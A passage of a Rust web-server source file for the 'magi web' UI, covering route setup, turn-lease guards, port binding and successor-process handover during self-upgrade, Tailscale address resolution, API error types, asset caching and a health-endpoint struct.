1784            // one accepts a picture would let any other handler be handed
1785            // a multi-megabyte body it never expects.
1786            .route(
1787                "/api/talks/{id}/attachments",
1788                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1789            )
1790            .route(
1791                "/api/talks/{id}/attachments/{att}",
1792                get(talk_attachment_get),
1793            )
1794            .route("/api/talks/{id}/avatar", get(talk_avatar))
1795            .route("/avatars/operator.svg", get(operator_avatar))
1796            .route(
1797                "/api/avatar-settings",
1798                get(avatar_settings_get)
1799                    .put(avatar_settings_put)
1800                    .delete(avatar_settings_delete),
1801            )
1802            .route("/avatars/persona", get(settings_persona_avatar))
1803            .route("/avatars/magi", get(magi_avatar))
1804            .route(
1805                "/api/magi-icon",
1806                get(magi_icon_get)
1807                    .put(magi_icon_put)
1808                    .delete(magi_icon_delete),
1809            )
1810            .route("/api/events", get(events))
1811            .with_state(self)
1812    }
1813}
1814
1815/// One talk's turn slot, released on drop.
1816///
1817/// A guard rather than a matching `remove` at the end of the handler, because
1818/// the handler has several early returns and one `await` that can be cancelled
1819/// out from under it. A leaked id is a talk nobody can talk to again.
1820#[derive(Debug)]
1821struct TalkTurnGuard {
1822    talk: String,
1823    turns: Arc<Mutex<TalkTurns>>,
1824    released: bool,
1825    /// The cross-process half of the slot; dropped with the guard.
1826    lease: Option<crate::talk::TurnLease>,
1827}
1828
1829/// In-memory turn ownership plus the queue generation observed by a drainer.
1830///
1831/// The generation changes only after a durable queued draft is written and its
1832/// caller finds the turn busy. That lets the loop run filesystem work outside
1833/// this mutex while still making the final empty-check/release atomic with a
1834/// concurrent queue handoff.
1835#[derive(Debug, Default)]
1836struct TalkTurns {
1837    live: HashSet<String>,
1838    queued: HashMap<String, u64>,
1839}
1840
1841/// The atomic initial-state decision made by
1842/// [`Ui::begin_talk_turn_unless_pending`].
1843enum TalkTurnStart {
1844    Claimed(TalkTurnGuard),
1845    Busy,
1846    /// Another process holds the turn lease. Unlike `Busy` there is no local
1847    /// drain loop that would answer a queued draft, so the caller refuses.
1848    Foreign,
1849    Pending,
1850}
1851
1852impl TalkTurnGuard {
1853    #[cfg(test)]
1854    /// Does this guard still own the on-disk lease? A transient failure to
1855    /// check counts as owning: the next beat decides. A guard that lost it
1856    /// must not start another turn on the same session.
1857    fn owns(&self) -> bool {
1858        self.lease
1859            .as_ref()
1860            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1861    }
1862
1863    #[cfg(test)]
1864    /// `talk::respond_at` while renewing the on-disk lease, so a turn longer
1865    /// than the lease's TTL still reads as held to other processes.
1866    async fn respond_at(
1867        &self,
1868        talk: &mut Talk,
1869        talks: &Talks,
1870        cfg: &Config,
1871        text: &str,
1872        submitted_input: Option<usize>,
1873    ) -> anyhow::Result<()> {
1874        let lease = self
1875            .lease
1876            .as_ref()
1877            .context("the turn guard no longer holds its lease")?;
1878        talk::respond_at(lease, talk, talks, cfg, text, submitted_input).await
1879    }
1880
1881    /// Release while the caller already holds the claim mutex, closing the
1882    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1883    fn release(mut self, live: &mut TalkTurns) {
1884        // The on-disk lease goes first: while `live` still names the talk, no
1885        // local claim can start, so nobody observes the slot free but the
1886        // lease held.
1887        self.lease = None;
1888        live.live.remove(&self.talk);
1889        live.queued.remove(&self.talk);
1890        self.released = true;
1891    }
1892}
1893
1894impl Drop for TalkTurnGuard {
1895    fn drop(&mut self) {
1896        if self.released {
1897            return;
1898        }
1899        // Lease first, then the in-process slot (see `release`).
1900        drop(self.lease.take());
1901        if let Ok(mut live) = self.turns.lock() {
1902            live.live.remove(&self.talk);
1903            live.queued.remove(&self.talk);
1904        }
1905    }
1906}
1907
1908/// Releases a resume claim, so a run is resumable again after the attempt.
1909struct ResumeGuard {
1910    run: String,
1911    resuming: Arc<Mutex<HashSet<String>>>,
1912}
1913
1914impl Drop for ResumeGuard {
1915    fn drop(&mut self) {
1916        if let Ok(mut live) = self.resuming.lock() {
1917            live.remove(&self.run);
1918        }
1919    }
1920}
1921
1922/// Bind the port, waiting briefly for a predecessor to let go of it.
1923///
1924/// A restart hands the address from one process to the next, and the old one
1925/// holds its listener until it unwinds. A single `bind` can lose that race,
1926/// and for a restart triggered from a phone that means the deck never comes
1927/// back with no terminal around to say why.
1928///
1929/// Bounded, and only for the one error a wait can fix: anything else fails at
1930/// once, because retrying it would turn a clear message into a silence.
1931async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1932    const WINDOW: Duration = Duration::from_secs(10);
1933    const GAP: Duration = Duration::from_millis(250);
1934
1935    let deadline = std::time::Instant::now() + WINDOW;
1936    let mut said = false;
1937    loop {
1938        match tokio::net::TcpListener::bind(socket).await {
1939            Ok(listener) => return Ok(listener),
1940            Err(e)
1941                if e.kind() == std::io::ErrorKind::AddrInUse
1942                    && std::time::Instant::now() < deadline =>
1943            {
1944                if !said {
1945                    said = true;
1946                    tracing::info!(
1947                        "{socket} is still held - waiting up to {}s for it, \
1948                         which is what a restart looks like from here",
1949                        WINDOW.as_secs()
1950                    );
1951                }
1952                tokio::time::sleep(GAP).await;
1953            }
1954            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1955        }
1956    }
1957}
1958
1959/// Signalled when an upgrade has replaced the binary and the successor should
1960/// take this address over. One per process: there is one address to hand on.
1961static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1962
1963/// Set to `1` on the successor when the loop was running at handover.
1964const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1965/// Keep a dynamically assigned listener address stable across replacement.
1966const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1967
1968/// Whether the environment value asks for the loop to be resumed.
1969fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1970    value.is_some_and(|v| v == "1")
1971}
1972
1973/// Start this binary again with the same arguments, detached.
1974///
1975/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1976/// so the address is already free when the successor binds it. The first
1977/// attempt at this spawned the successor two hundred milliseconds before
1978/// exiting instead, and the released binary - which has no bind retry - died
1979/// on "address already in use" with its stdio sent to null, so the deck
1980/// simply never came back.
1981///
1982/// Detached and without inherited stdio: the successor has to outlive this
1983/// process, and must not hold open a pipe a terminal is waiting on.
1984///
1985/// The scheduler is restarted separately; execution workers are not awaited.
1986///
1987/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1988/// than sent to null: a supervisor's redirection only ever held the first
1989/// generation's descriptors, so every later generation logged nowhere. The
1990/// pid of the child is returned so the handover log can name it.
1991fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1992    let args: Vec<String> = std::env::args().skip(1).collect();
1993    updater::log_step(
1994        home,
1995        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1996    );
1997    let log_path = home.join(WEB_LOG);
1998    let open_log = || {
1999        std::fs::create_dir_all(home)?;
2000        std::fs::OpenOptions::new()
2001            .create(true)
2002            .append(true)
2003            .open(&log_path)
2004    };
2005    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
2006        Ok(pair) => (
2007            std::process::Stdio::from(pair.0),
2008            std::process::Stdio::from(pair.1),
2009        ),
2010        Err(e) => {
2011            updater::log_warn(
2012                home,
2013                &format!(
2014                    "could not open {}: {e}; the successor logs nowhere",
2015                    log_path.display()
2016                ),
2017            );
2018            (std::process::Stdio::null(), std::process::Stdio::null())
2019        }
2020    };
2021
2022    let mut cmd = std::process::Command::new(exe);
2023    cmd.env_remove(RESUME_LOOP_ENV);
2024    cmd.env(RESTART_PORT_ENV, port.to_string());
2025    cmd.args(&args)
2026        .stdin(std::process::Stdio::null())
2027        .stdout(out)
2028        .stderr(err);
2029    #[cfg(windows)]
2030    {
2031        use std::os::windows::process::CommandExt as _;
2032        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
2033        // and Ctrl-C in the old terminal must not reach the successor.
2034        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
2035    }
2036    let child = cmd.spawn().context("start the successor")?;
2037    Ok(child.id())
2038}
2039
2040/// File under `<home>` the successor's output is appended to.
2041const WEB_LOG: &str = "web.log";
2042
2043/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
2044/// stored by an earlier `notify_one` is consumed by the first poll, so the
2045/// signal is never missed and never wakes a second time.
2046async fn wait_for_handover(signal: &Notify) {
2047    signal.notified().await;
2048}
2049
2050/// Serve the UI independently from scheduler and execution workers.
2051/// A restart releases its listener before starting the successor.
2052pub async fn serve(opts: Opts) -> Result<()> {
2053    // Capture before self-replacement: current_exe may later name a removed
2054    // image on Linux or the renamed old image on Windows.
2055    crate::worker::remember_current_executable()?;
2056    let executable = std::env::current_exe().context("find the installed web executable")?;
2057    let (addr, warning) = resolve_bind(&opts.bind);
2058    if let Some(warning) = warning {
2059        tracing::warn!("{warning}");
2060    }
2061
2062    // Process-global, and therefore set exactly once, here: the report route
2063    // must never emit escape sequences into a browser, and toggling the flag
2064    // per request would race with a concurrent request rendering its own
2065    // report. Startup is the only moment at which no request can observe the
2066    // change. Nothing in the server turns colour back on.
2067    report::set_color(false);
2068
2069    let repo = normalize_default_repo(opts.repo).await;
2070    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
2071    // The listener and periodic checker share one upgrade gate and state.
2072    let home = ui.home.clone();
2073    let admissions = Arc::clone(&ui.admissions);
2074    // Settles a progress record a predecessor left non-terminal - either this
2075    // *is* the successor `spawn_successor` started, or the previous process
2076    // died mid-handover. Before the router starts answering, so the very
2077    // first `/api/health` a phone gets from this process already reflects it.
2078    updater::reconcile_after_restart(&home);
2079    updater::log_step(
2080        &home,
2081        &format!(
2082            "web process started (version {}); handover log {}, successor output {}",
2083            env!("CARGO_PKG_VERSION"),
2084            updater::log_path(&home).display(),
2085            home.join(WEB_LOG).display()
2086        ),
2087    );
2088    updater::spawn_watchdog(home.clone());
2089    // `magi web` can stay up for days, and the one-time check `main.rs`'s
2090    // `spawn_update_check` does at startup only ever runs once: after that,
2091    // `/api/health`'s `update` field - and the phone's "Update & restart"
2092    // button, which reads the very same cache - would stay frozen on
2093    // whatever that single check found, no matter how many releases ship
2094    // afterwards. The periodic checker below keeps it current and is
2095    // cancelled when the listener finishes.
2096    let port = if opts.port == 0 {
2097        std::env::var(RESTART_PORT_ENV)
2098            .ok()
2099            .and_then(|value| value.parse::<u16>().ok())
2100            .filter(|port| *port != 0)
2101            .unwrap_or(0)
2102    } else {
2103        opts.port
2104    };
2105    let socket = SocketAddr::new(addr, port);
2106    let listener = bind_waiting(socket).await?;
2107    let bound = listener.local_addr().context("read bound web address")?;
2108    let port = bound.port();
2109    let url = format!("http://{bound}");
2110    tracing::info!(
2111        "magi web UI on {url} - there is no authentication, so anyone who can \
2112         reach this address can file and hold tasks: the tailnet is the \
2113         security boundary"
2114    );
2115    // A legacy predecessor may request first-migration scheduler startup.
2116    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2117        ui.start_detached_loop()
2118            .await
2119            .map_err(|e| anyhow::anyhow!(e.message))?;
2120    }
2121    if opts.open {
2122        // The URL alone on stdout, for a caller that wants to open it. magi
2123        // does not spawn a browser: on the machine this usually runs on there
2124        // is no display, and a failed launch would be the only output.
2125        println!("{url}");
2126    }
2127
2128    // On its own task, so nothing this function awaits can stop the address
2129    // being answered. `hand_over` is where it is given up.
2130    let recheck_ui = ui.clone();
2131    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2132    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2133    let interrupted = async {
2134        if tokio::signal::ctrl_c().await.is_err() {
2135            // No handler on this platform, so there is no signal to act on.
2136            // Never resolving is the safe answer: a failed registration must
2137            // not masquerade as the operator asking for a shutdown and take
2138            // the UI down on startup.
2139            std::future::pending::<()>().await;
2140        }
2141    };
2142    let handover = wait_for_handover(&HANDOVER);
2143    let outcome = tokio::select! {
2144        joined = &mut served => match joined {
2145            Ok(outcome) => outcome.context("serve the web UI"),
2146            Err(e) => Err(e).context("the task serving the web UI ended"),
2147        },
2148        () = interrupted => {
2149            recheck.abort();
2150            tracing::info!("shutting down the web UI; detached workers continue");
2151            close_admissions(&admissions).await;
2152            served.abort();
2153            let _ = served.await;
2154            Ok(())
2155        }
2156        () = handover => {
2157            recheck.abort();
2158            let successor_home = home.clone();
2159            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2160        }
2161    };
2162    recheck.abort();
2163    let _ = recheck.await;
2164    updater::log_step(
2165        &home,
2166        &match &outcome {
2167            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2168            Err(e) => format!("serve: returning an error: {e:#}"),
2169        },
2170    );
2171    outcome
2172}
2173
2174/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2175/// process's own working directory is not a git checkout at all - the
2176/// checkout [`repos::discover_verified`] finds instead.
2177///
2178/// Only the unmodified default is ever replaced: an operator who named a
2179/// directory outright, git checkout or not, gets exactly that directory
2180/// back, and the same story downstream (a talk whose briefing embeds a
2181/// non-git directory, and an agent that has to ask the operator where the
2182/// real repository is) that has always told them so - substituting a guess
2183/// for an explicit answer would be a second, silent opinion about what they
2184/// meant. There is no instruction or task text yet to match against this
2185/// early, so only [`repos::discover_verified`]'s own-repository tier can
2186/// ever settle this - the hint tier never fires here.
2187///
2188/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2189/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2190/// or a git installation that is broken in exactly the way that made the
2191/// original `canonical` check above fail too - so it is re-checked with
2192/// `git::toplevel` before it is ever used in place of the operator's own
2193/// directory.
2194async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2195    if repo != FsPath::new(".") {
2196        return repo;
2197    }
2198    let Ok(canonical) = repo.canonicalize() else {
2199        return repo;
2200    };
2201    if git::toplevel(&canonical).await.is_ok() {
2202        return repo;
2203    }
2204    let Some(home) = dirs::home_dir() else {
2205        return repo;
2206    };
2207    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2208        Some(found) => {
2209            tracing::info!(
2210                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2211                canonical.display(),
2212                found.path.display(),
2213                found.reason,
2214            );
2215            found.path
2216        }
2217        None => repo,
2218    }
2219}
2220
2221/// Close new ingress and finish only transactions publishing durable work.
2222/// The writer waits for owned admission guards, not task or chat turn leases.
2223async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2224    *admissions.write().await = true;
2225}
2226
2227/// Restart only the scheduler and web listener, never their execution workers.
2228/// The old listener must be fully released before the successor is started.
2229async fn hand_over(
2230    home: &FsPath,
2231    admissions: &tokio::sync::RwLock<bool>,
2232    served: tokio::task::JoinHandle<std::io::Result<()>>,
2233    successor: impl FnOnce() -> Result<u32>,
2234) -> Result<()> {
2235    close_admissions(admissions).await;
2236    if let Some(mut progress) = updater::read_progress(home) {
2237        progress.advance(updater::Stage::Restarting);
2238        progress.detail =
2239            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2240        updater::write_progress_logged(home, &progress);
2241    }
2242    updater::log_step(
2243        home,
2244        "restarting scheduler without parking execution workers",
2245    );
2246    let scheduler = daemon::restart_detached(home).await;
2247    if let Err(error) = &scheduler {
2248        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2249        updater::log_warn(
2250            home,
2251            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2252        );
2253    }
2254    updater::log_step(home, "releasing the web listener");
2255    served.abort();
2256    let _ = served.await;
2257    updater::log_step(home, "web listener released; starting the successor");
2258    match successor() {
2259        Ok(pid) => {
2260            updater::log_step(home, &format!("successor started, pid {pid}"));
2261            scheduler
2262        }
2263        Err(e) => {
2264            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2265            Err(e)
2266        }
2267    }
2268}
2269
2270/// Resolve `--bind` to an address, plus a warning when the answer is not what
2271/// the operator asked for.
2272///
2273/// Split out from [`serve`] because the interesting half - deciding whether
2274/// Tailscale gave us something usable - is testable without opening a socket.
2275pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2276    match bind {
2277        Bind::Addr(addr) => (*addr, None),
2278        Bind::Auto => match tailscale_ip() {
2279            Ok(ip) => (IpAddr::V4(ip), None),
2280            Err(why) => (
2281                IpAddr::V4(Ipv4Addr::LOCALHOST),
2282                Some(format!(
2283                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2284                     local-only and a phone cannot reach it; start Tailscale \
2285                     or pass --bind <addr>"
2286                )),
2287            ),
2288        },
2289    }
2290}
2291
2292/// This machine's Tailscale IPv4, or why there is not one.
2293///
2294/// `tailscale ip -4` is a local call against the running daemon and returns in
2295/// milliseconds, so it is fine to make it synchronously before the server
2296/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2297/// CGNAT block Tailscale assigns from, and anything else on that output would
2298/// be a different tool answering.
2299fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2300    let out = std::process::Command::new("tailscale")
2301        .args(["ip", "-4"])
2302        .quiet()
2303        .output()
2304        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2305    if !out.status.success() {
2306        let why = String::from_utf8_lossy(&out.stderr);
2307        let why = why.trim();
2308        return Err(format!(
2309            "`tailscale ip -4` failed ({}){}",
2310            out.status,
2311            if why.is_empty() {
2312                String::new()
2313            } else {
2314                format!(": {why}")
2315            }
2316        ));
2317    }
2318    String::from_utf8_lossy(&out.stdout)
2319        .lines()
2320        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2321        .find(is_tailnet)
2322        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2323}
2324
2325/// Is this address in the CGNAT block Tailscale hands out from?
2326fn is_tailnet(ip: &Ipv4Addr) -> bool {
2327    let o = ip.octets();
2328    o[0] == 100 && (64..=127).contains(&o[1])
2329}
2330
2331/// What every handler returns. Spelled out because `Result` in this crate is
2332/// `anyhow::Result`, and a handler's error is a status code as much as a
2333/// message.
2334type ApiResult<T> = std::result::Result<T, ApiError>;
2335
2336/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2337#[derive(Debug)]
2338struct ApiError {
2339    status: StatusCode,
2340    message: String,
2341    text_reason: Option<crate::question_delivery::UnavailableReason>,
2342}
2343
2344impl ApiError {
2345    /// The client asked for something malformed.
2346    fn bad_request(message: impl Into<String>) -> Self {
2347        Self {
2348            text_reason: None,
2349            status: StatusCode::BAD_REQUEST,
2350            message: message.into(),
2351        }
2352    }
2353
2354    /// No such run or task.
2355    fn not_found(message: impl Into<String>) -> Self {
2356        Self {
2357            text_reason: None,
2358            status: StatusCode::NOT_FOUND,
2359            message: message.into(),
2360        }
2361    }
2362
2363    /// Someone else owns the thing the client wants to change.
2364    /// Re-badge an error whose default mapping is wrong for this route.
2365    fn with_status(mut self, status: StatusCode) -> Self {
2366        self.status = status;
2367        self
2368    }
2369
2370    /// A rules violation from a domain type, reported as the caller's fault.
2371    /// `Question::answer` rejects an unoffered choice, and that is a bad
2372    /// request, not a server error.
2373    fn bad_request_from(e: anyhow::Error) -> Self {
2374        Self::bad_request(format!("{e:#}"))
2375    }
2376
2377    fn completion(e: anyhow::Error) -> Self {
2378        if e.is::<crate::queue::CompletionSnapshotChanged>() {
2379            Self::conflict(format!("{e:#}"))
2380        } else {
2381            Self::bad_request_from(e)
2382        }
2383    }
2384
2385    fn conflict(message: impl Into<String>) -> Self {
2386        Self {
2387            text_reason: None,
2388            status: StatusCode::CONFLICT,
2389            message: message.into(),
2390        }
2391    }
2392
2393    /// Our fault, or the disk's.
2394    fn internal(message: impl Into<String>) -> Self {
2395        Self {
2396            text_reason: None,
2397            status: StatusCode::INTERNAL_SERVER_ERROR,
2398            message: message.into(),
2399        }
2400    }
2401}
2402
2403impl From<anyhow::Error> for ApiError {
2404    /// Errors from `queue` and `run` carry their context chain, and the whole
2405    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2406    /// value at line 3" is a message an operator can act on, and there is no
2407    /// secret in a path on a single-user tailnet.
2408    fn from(e: anyhow::Error) -> Self {
2409        Self::internal(format!("{e:#}"))
2410    }
2411}
2412
2413impl IntoResponse for ApiError {
2414    fn into_response(self) -> Response {
2415        let mut body = serde_json::json!({ "error": self.message });
2416        if let Some(reason) = self.text_reason {
2417            body["code"] = serde_json::json!("question_text_unavailable");
2418            body["reason"] = serde_json::json!(reason);
2419        }
2420        (self.status, Json(body)).into_response()
2421    }
2422}
2423
2424/// Run a handler's filesystem work off the executor.
2425///
2426/// Every route that touches the disk goes through here rather than each one
2427/// arguing about whether its own read is small enough. Uniform because the
2428/// expensive case is not rare: `run.json` for a finished competition holds
2429/// every judgement, deliberation turn and review round, so listing a few
2430/// hundred runs is megabytes of parsing, and the executor threads doing it are
2431/// the same ones serving the change stream of every other connected phone.
2432async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2433where
2434    T: Send + 'static,
2435{
2436    #[cfg(test)]
2437    let job = request_cost::carry(job);
2438    match tokio::task::spawn_blocking(job).await {
2439        Ok(result) => result,
2440        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2441    }
2442}
2443
2444/// Bulk readers have a bounded, separate execution lane. A cold health
2445/// index or multiple slow list clients cannot occupy the pool serving detail.
2446async fn bulk_blocking<T>(
2447    slots: Arc<tokio::sync::Semaphore>,
2448    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2449) -> ApiResult<T>
2450where
2451    T: Send + 'static,
2452{
2453    let permit = slots
2454        .acquire_owned()
2455        .await
2456        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2457    let (send, receive) = tokio::sync::oneshot::channel();
2458    #[cfg(test)]
2459    let job = request_cost::carry(job);
2460    let runtime = tokio::runtime::Handle::current();
2461    std::thread::Builder::new()
2462        .name("web-bulk".into())
2463        .spawn(move || {
2464            let _permit = permit;
2465            // Capacity observations schedule their independent blocking job.
2466            let _runtime = runtime.enter();
2467            let _ = send.send(job());
2468        })
2469        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2470    receive
2471        .await
2472        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2473}
2474
2475/// Cache policy for the three compiled-in front-end files.
2476///
2477/// The whole interface is `include_str!`ed into the binary, so its content
2478/// changes only when the binary does - and a phone that keeps a copy is
2479/// welcome to, right up until the deck is replaced. Without a single cache
2480/// header, browsers were free to invent their own policy, and one did:
2481/// yukimemi's phone went on showing "Candidates must be folded before
2482/// deleting. Run `magi fold` first." - a sentence deleted two releases
2483/// earlier - from a run detail served by a deck that no longer contained it.
2484/// The delete button he was told about was right there, and unreachable.
2485///
2486/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2487/// every time, the answer is a 304 costing one small round trip while the
2488/// deck is unchanged, and the moment it is replaced the tag differs and the
2489/// new interface arrives. Correctness over bytes - this is one file of a few
2490/// tens of kilobytes on a tailnet, and being a version behind is not a
2491/// cosmetic problem when the difference is whether a button exists.
2492const ASSET_CACHE: &str = "no-cache, must-revalidate";
2493
2494/// `ETag` for the compiled-in assets, distinct per build.
2495///
2496/// The version alone would leave a locally built deck - `cargo install
2497/// --path .` twice at the same version, which is the normal way to iterate -
2498/// serving a stale tag for changed bytes. The build timestamp is what makes
2499/// two builds of `0.3.0` differ.
2500fn asset_etag() -> &'static str {
2501    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2502        format!(
2503            "\"{}-{}\"",
2504            env!("CARGO_PKG_VERSION"),
2505            // Length is a cheap, deterministic stand-in for a hash: the
2506            // three files are compiled in together, so any edit to any of
2507            // them almost certainly changes the total, and a rebuild is what
2508            // this needs to track rather than every possible byte pattern.
2509            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2510        )
2511    });
2512    &TAG
2513}
2514
2515/// Headers for a compiled-in asset of `mime`.
2516fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2517    [
2518        (header::CONTENT_TYPE, mime),
2519        (header::CACHE_CONTROL, ASSET_CACHE),
2520        (header::ETAG, asset_etag()),
2521    ]
2522}
2523
2524/// Serve a compiled-in asset, answering `304` when the client already has it.
2525///
2526/// axum does not compare `If-None-Match` for us, and a header the server sets
2527/// but never honours is worse than none: the phone revalidates on every load
2528/// and is handed the whole file back each time. Doing the comparison is what
2529/// makes `must-revalidate` cost one small round trip rather than the
2530/// interface.
2531fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2532    let tag = asset_etag();
2533    let known = headers
2534        .get(header::IF_NONE_MATCH)
2535        .and_then(|v| v.to_str().ok())
2536        // A revalidating client may send several, and a proxy may weaken the
2537        // tag to `W/"..."`; matching on containment covers both without
2538        // parsing the grammar.
2539        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2540    if known {
2541        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2542    }
2543    (asset_headers(mime), body).into_response()
2544}
2545
2546async fn index(headers: header::HeaderMap) -> Response {
2547    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2548}
2549
2550async fn app_css(headers: header::HeaderMap) -> Response {
2551    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2552}
2553
2554async fn app_js(headers: header::HeaderMap) -> Response {
2555    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2556}
2557
2558/// What `/api/health` answers.
2559#[derive(Debug, Serialize)]
2560struct HealthView {
2561    version: &'static str,
2562    home: String,
2563    queue_rev: u64,
2564    runs_rev: u64,
2565    /// The same revisions [`events`] streams for the question and talk
2566    /// stores.
2567    ///
2568    /// Here because this route is what the front end falls back to when the
2569    /// change stream is not up - it re-polls health on a timer and on wake, and
2570    /// takes the revisions from the answer. Without these the fallback
2571    /// compares `undefined` against `undefined` for both stores, decides
2572    /// nothing moved, and a phone with a dead stream never learns that a
2573    /// question was asked or that a talk took a turn. `queue_rev` and
2574    /// `runs_rev` above have always been here for exactly this reason; the rule
2575    /// is that every revision the stream carries, this route carries too.
2576    questions_rev: u64,
2577    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2578    talks_rev: u64,
2579    /// See [`HealthView::questions_rev`]. The notification centre's store.
2580    notifications_rev: u64,
2581    /// Notifications nobody has read yet: the bell's badge before
2582    /// `/api/notifications` has answered.
2583    notifications_unread: usize,
2584    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2585    /// is not on disk anywhere, so a phone with no change stream has no other
2586    /// way to notice that the loop it is waiting on was started from another
2587    /// device.
2588    loop_rev: u64,
2589    /// Runs on disk whose state this build cannot parse - almost always a
2590    /// schema bump, occasionally a run killed mid-write.
2591    ///
2592    /// Reported because the list silently skips them, and "no competitions
2593    /// yet" is a lie when six of them are sitting in the runs directory. The
2594    /// terminal deck learned the same lesson: a run that fails to parse must
2595    /// not disappear from the count.
2596    runs_unreadable: usize,
2597    /// The disk, and what the runs and their worktrees occupy on it.
2598    ///
2599    /// This is the incident the janitor exists for: magi alone put 30 GB into
2600    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2601    /// is exactly where the operator learns "the disk is the constraint" -
2602    /// the diagnosis that a run is being held for want of space has to be
2603    /// checkable on the same screen.
2604    disk: Option<serde_json::Value>,
2605    /// Questions nobody has answered yet, including ones an owner talked
2606    /// back on and is now waiting for the agent's reply to. A round trip
2607    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2608    /// while the ball is in the agent's court - see
2609    /// [`crate::ask::Questions::count_open`].
2610    questions_open: usize,
2611    /// Of those, how many actually need the owner right now: open, and not
2612    /// [`crate::ask::Question::waiting_on_agent`].
2613    ///
2614    /// The one number that means "nothing will happen until a human acts" -
2615    /// a parked run consumes nothing and progresses never - and the count the
2616    /// ask bar, the nav badge and the document title fall back to before
2617    /// `/api/questions` has answered, so those notification channels clear
2618    /// the instant the owner asks back and reappear the instant the agent
2619    /// replies, instead of sitting lit for however long the agent thinks.
2620    questions_needs_owner: usize,
2621    daemon: DaemonView,
2622    /// The independently controllable scheduler, as `/api/loop` reports it.
2623    ///
2624    /// Here so a phone that has just woken needs one request to know whether
2625    /// anything is going to happen at all: `daemon` says a loop is alive
2626    /// somewhere, and this says whether it is one this UI can stop.
2627    #[serde(rename = "loop")]
2628    looping: LoopView,
2629    /// Whether a release newer than this build is known, and which.
2630    ///
2631    /// From [`updater::Checker::cached_update`] - the same throttled state the
2632    /// CLI's `notify` mode banners from - never a live check: this route is
2633    /// polled every few seconds, and a live check on each poll would spend
2634    /// GitHub's rate limit before the operator finished reading the strip.
2635    update: UpdateView,
2636    /// The self-upgrade this deck last set in motion, or `null` before the
2637    /// first one. Read off disk, so the successor can report what its
2638    /// predecessor started.
2639    upgrade: Option<UpgradeProgressView>,
2640    /// Detached jobs survive replacement of this web process. Each reports
2641    /// its own immutable executable generation rather than the web version.
2642    jobs: Vec<WorkerView>,
2643    upgrade_request_error: Option<UpgradeRequestFailure>,
2644}
2645
2646/// Public execution metadata only. Job payloads contain private configuration
2647/// and must never be returned by the health endpoint.
2648#[derive(Debug, Serialize)]
2649struct WorkerView {
2650    id: String,
2651    kind: String,
2652    key: String,
2653    pid: Option<u32>,
2654    status: crate::worker::Status,
2655    generation: String,
2656    version: Option<String>,
2657    queue_owned: bool,
2658}
2659
2660impl From<crate::worker::Job> for WorkerView {
2661    fn from(job: crate::worker::Job) -> Self {
2662        let queue_owned = job.kind == "task"
2663            && job
2664                .payload
2665                .get("standalone")
2666                .and_then(serde_json::Value::as_bool)
2667                != Some(true);
2668        Self {
